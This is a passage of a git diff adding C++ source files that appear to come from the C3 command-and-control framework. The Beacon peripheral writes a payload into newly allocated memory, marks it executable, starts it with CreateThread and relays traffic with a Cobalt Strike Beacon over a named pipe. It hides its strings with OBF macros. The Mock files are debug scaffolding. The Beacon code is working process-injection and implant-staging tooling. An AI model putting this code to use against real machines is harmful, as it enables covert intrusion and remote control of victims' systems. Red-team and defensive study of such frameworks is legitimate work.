throw std::runtime_error{ OBF("Couldn't allocate R/W virtual memory: ") + std::to_string(GetLastError()) + OBF(".") };
|
||||||
|
|
||||||
|
// Copy payload to the newly allocated region.
|
||||||
|
memcpy_s(codePointer, payload.size(), payload.data(), payload.size());
|
||||||
|
|
||||||
|
DWORD prev;
|
||||||
|
//Now mark the memory region R/X
|
||||||
|
if (!VirtualProtect(codePointer, payload.size(), PAGE_EXECUTE_READ, &prev))
|
||||||
|
throw std::runtime_error(OBF("Couldn't mark virtual memory as R/X. ") + std::to_string(GetLastError()));
|
||||||
|
|
||||||
|
namespace SEH = MWR::WinTools::StructuredExceptionHandling;
|
||||||
|
// use explicit type to bypass overload resolution
|
||||||
|
DWORD(WINAPI * sehWrapper)(SEH::CodePointer) = SEH::SehWrapper;
|
||||||
|
// Inject the payload stage into the current process.
|
||||||
|
if (!CreateThread(NULL, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(sehWrapper), codePointer, 0, nullptr))
|
||||||
|
throw std::runtime_error{ OBF("Couldn't run payload: ") + std::to_string(GetLastError()) + OBF(".") };
|
||||||
|
|
||||||
|
std::this_thread::sleep_for(std::chrono::milliseconds{ 30 }); // Give beacon thread time to start pipe.
|
||||||
|
|
||||||
|
// Connect to our Beacon named Pipe.
|
||||||
|
for (uint16_t connectionTrial = 0u; connectionTrial < maxConnectionTrials; ++connectionTrial)
|
||||||
|
try
|
||||||
|
{
|
||||||
|
m_Pipe = WinTools::AlternatingPipe{ ByteView{ pipeName } };
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
catch (std::exception& e)
|
||||||
|
{
|
||||||
|
// Sleep between trials.
|
||||||
|
Log({ OBF_SEC("Beacon constructor: ") + e.what(), LogMessage::Severity::DebugInformation });
|
||||||
|
std::this_thread::sleep_for(std::chrono::milliseconds{ delayBetweenConnectionTrials });
|
||||||
|
}
|
||||||
|
|
||||||
|
// Throw a time-out exception.
|
||||||
|
throw std::runtime_error{OBF("Beacon creation failed")};
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
void MWR::C3::Interfaces::Peripherals::Beacon::OnCommandFromConnector(ByteView data)
|
||||||
|
{
|
||||||
|
// Get access to write when whole reed is done.
|
||||||
|
std::unique_lock<std::mutex> lock{ m_Mutex };
|
||||||
|
m_ConditionalVariable.wait(lock, [this]() { return !m_ReadingState; });
|
||||||
|
|
||||||
|
// Write
|
||||||
|
m_Pipe->Write(data);
|
||||||
|
|
||||||
|
// Unlock, and block writing until read is done.
|
||||||
|
m_ReadingState = true;
|
||||||
|
lock.unlock();
|
||||||
|
m_ConditionalVariable.notify_one();
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Peripherals::Beacon::OnReceiveFromPeripheral()
|
||||||
|
{
|
||||||
|
// Get Access to reed after normal write.
|
||||||
|
std::unique_lock<std::mutex> lock{ m_Mutex };
|
||||||
|
m_ConditionalVariable.wait(lock, [this]() { return m_ReadingState; });
|
||||||
|
|
||||||
|
// Read
|
||||||
|
auto ret = m_Pipe->Read();
|
||||||
|
|
||||||
|
if (IsNoOp(ret))
|
||||||
|
{
|
||||||
|
// Unlock, and block reading until write is done.
|
||||||
|
m_ReadingState = false;
|
||||||
|
lock.unlock();
|
||||||
|
m_ConditionalVariable.notify_one();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// Continue in read mode. Send no-op to beacon to get next chunk of data.
|
||||||
|
m_Pipe->Write("\0"_bv);
|
||||||
|
}
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool MWR::C3::Interfaces::Peripherals::Beacon::IsNoOp(ByteView data)
|
||||||
|
{
|
||||||
|
return data.size() == 1 && data[0] == 0u;
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteView MWR::C3::Interfaces::Peripherals::Beacon::GetCapability()
|
||||||
|
{
|
||||||
|
return R"(
|
||||||
|
{
|
||||||
|
"create":
|
||||||
|
{
|
||||||
|
"arguments":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Pipe name",
|
||||||
|
"min": 4,
|
||||||
|
"randomize": true,
|
||||||
|
"description": "Name of the pipe Beacon uses for communication."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "int16",
|
||||||
|
"min": 1,
|
||||||
|
"defaultValue" : 10,
|
||||||
|
"name": "Connection trials",
|
||||||
|
"description": "Number of connection trials before marking whole staging process unsuccessful."
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "int16",
|
||||||
|
"min": 30,
|
||||||
|
"defaultValue" : 1000,
|
||||||
|
"name": "Trials delay",
|
||||||
|
"description": "Time in milliseconds to wait between unsuccessful connection trails."
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"commands": []
|
||||||
|
}
|
||||||
|
)";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Custom payload is removed from release.
|
||||||
|
// ,
|
||||||
|
// {
|
||||||
|
// "type": "binary",
|
||||||
|
// "name" : "Payload",
|
||||||
|
// "description" : "Implant to inject. Leave empty to generate payload."
|
||||||
|
// }
|
|
@ -0,0 +1,52 @@
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <optional>
|
||||||
|
#include "Common/MWR/WinTools/Pipe.h"
|
||||||
|
|
||||||
|
/// Forward declaration of Connector associated with implant.
|
||||||
|
/// Connectors implementation is only available on GateRelay, not NodeRelays.
|
||||||
|
/// Declaration must be identical to Connector definition. Namespace or struct/class mismatch will make Peripheral unusable.
|
||||||
|
namespace MWR::C3::Interfaces::Connectors { struct TeamServer; }
|
||||||
|
|
||||||
|
namespace MWR::C3::Interfaces::Peripherals
|
||||||
|
{
|
||||||
|
/// Class representing Beacon stager.
|
||||||
|
struct Beacon : public Peripheral<Beacon, Connectors::TeamServer>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// Public constructor.
|
||||||
|
/// @param arguments view of arguments prepared by Connector.
|
||||||
|
Beacon(ByteView arguments);
|
||||||
|
|
||||||
|
/// Sending callback implementation.
|
||||||
|
/// @param packet to send to the Implant.
|
||||||
|
void OnCommandFromConnector(ByteView packet) override;
|
||||||
|
|
||||||
|
/// Callback that handles receiving from the outside of the C3 network (Cobalt Strike Beacon).
|
||||||
|
/// @returns ByteVector data received from beacon.
|
||||||
|
ByteVector OnReceiveFromPeripheral() override;
|
||||||
|
|
||||||
|
/// Return json with commands.
|
||||||
|
/// @return ByteView Commands description in JSON format.
|
||||||
|
static ByteView GetCapability();
|
||||||
|
|
||||||
|
private:
|
||||||
|
/// Check if data is no-op.
|
||||||
|
/// @return true if data is no-op, false otherwise.
|
||||||
|
static bool IsNoOp(ByteView data);
|
||||||
|
|
||||||
|
/// Object used to communicate with beacon.
|
||||||
|
/// Optional is used to perform many trails of staging in constructor.
|
||||||
|
/// Must contain object if constructor call was successful.
|
||||||
|
std::optional<WinTools::AlternatingPipe> m_Pipe;
|
||||||
|
|
||||||
|
/// Used to synchronize access to underlying implant.
|
||||||
|
std::mutex m_Mutex;
|
||||||
|
|
||||||
|
/// Used to synchronize read/write.
|
||||||
|
std::condition_variable m_ConditionalVariable;
|
||||||
|
|
||||||
|
/// Used to support beacon chunking data.
|
||||||
|
bool m_ReadingState = true;
|
||||||
|
};
|
||||||
|
}
|
|
@ -0,0 +1,76 @@
|
||||||
|
#include "StdAfx.h"
|
||||||
|
#include "Mock.h"
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::C3::Interfaces::Peripherals::Mock::Mock(ByteView)
|
||||||
|
: m_NextMessageTime{ std::chrono::high_resolution_clock::now() }
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
void MWR::C3::Interfaces::Peripherals::Mock::OnCommandFromConnector(ByteView packet)
|
||||||
|
{
|
||||||
|
// Construct a copy of received packet trimmed to 10 characters and add log it.
|
||||||
|
Log({ OBF("Mock received: ") + std::string{ packet.begin(), packet.size() < 10 ? packet.end() : packet.begin() + 10 } + OBF("..."), LogMessage::Severity::DebugInformation });
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Peripherals::Mock::OnReceiveFromPeripheral()
|
||||||
|
{
|
||||||
|
// Send heart beat every 5s.
|
||||||
|
if (m_NextMessageTime > std::chrono::high_resolution_clock::now())
|
||||||
|
return {};
|
||||||
|
|
||||||
|
m_NextMessageTime = std::chrono::high_resolution_clock::now() + 5s;
|
||||||
|
return ByteView{ OBF("Beep") };
|
||||||
|
}
|
||||||
|
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Peripherals::Mock::OnRunCommand(ByteView command)
|
||||||
|
{
|
||||||
|
auto commandCopy = command;
|
||||||
|
switch (command.Read<uint16_t>())
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
return TestErrorCommand(command);
|
||||||
|
default:
|
||||||
|
return AbstractPeripheral::OnRunCommand(commandCopy);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Peripherals::Mock::TestErrorCommand(ByteView arg)
|
||||||
|
{
|
||||||
|
GetBridge()->SetErrorStatus(arg.Read<std::string>());
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteView MWR::C3::Interfaces::Peripherals::Mock::GetCapability()
|
||||||
|
{
|
||||||
|
return R"(
|
||||||
|
{
|
||||||
|
"create":
|
||||||
|
{
|
||||||
|
"arguments":[]
|
||||||
|
},
|
||||||
|
"commands":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"name": "Test command",
|
||||||
|
"description": "Set error on connector.",
|
||||||
|
"id": 0,
|
||||||
|
"arguments":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"name": "Error message",
|
||||||
|
"description": "Error set on connector. Send empty to clean up error"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
)";
|
||||||
|
}
|
||||||
|
#endif // _DEBUG
|
|
@ -0,0 +1,47 @@
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
|
||||||
|
/// Forward declaration of Connector associated with implant.
|
||||||
|
/// Connectors implementation is only available on GateRelay, not NodeRelays.
|
||||||
|
/// Declaration must be identical to Connector definition. Namespace or struct/class mismatch will make Peripheral unusable.
|
||||||
|
namespace MWR::C3::Interfaces::Connectors { class MockServer; }
|
||||||
|
|
||||||
|
namespace MWR::C3::Interfaces::Peripherals
|
||||||
|
{
|
||||||
|
/// Class representing mock implant.
|
||||||
|
class Mock : public Peripheral<Mock, Connectors::MockServer>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// Public Constructor.
|
||||||
|
/// @param ByteView unused.
|
||||||
|
Mock(ByteView);
|
||||||
|
|
||||||
|
/// Sending callback implementation.
|
||||||
|
/// @param packet to send to the Implant.
|
||||||
|
void OnCommandFromConnector(ByteView packet) override;
|
||||||
|
|
||||||
|
/// Callback that handles receiving from the Mock.
|
||||||
|
/// @returns ByteVector data received.
|
||||||
|
ByteVector OnReceiveFromPeripheral() override;
|
||||||
|
|
||||||
|
/// Return json with commands.
|
||||||
|
/// @return ByteView Commands description in JSON format.
|
||||||
|
static ByteView GetCapability();
|
||||||
|
|
||||||
|
/// Processes internal (C3 API) Command.
|
||||||
|
/// @param command a buffer containing whole command and it's parameters.
|
||||||
|
/// @return ByteVector command result.
|
||||||
|
ByteVector OnRunCommand(ByteView command) override;
|
||||||
|
|
||||||
|
private:
|
||||||
|
/// Example of internal command of peripheral. Must be described in GetCapability, and handled in OnRunCommand
|
||||||
|
/// @param arg all arguments send to method.
|
||||||
|
/// @returns ByteVector response for command.
|
||||||
|
ByteVector TestErrorCommand(ByteView arg);
|
||||||
|
|
||||||
|
/// Used to delay receiving data from mock implementaion.
|
||||||
|
std::chrono::time_point<std::chrono::steady_clock> m_NextMessageTime;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
#endif // _DEBUG
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue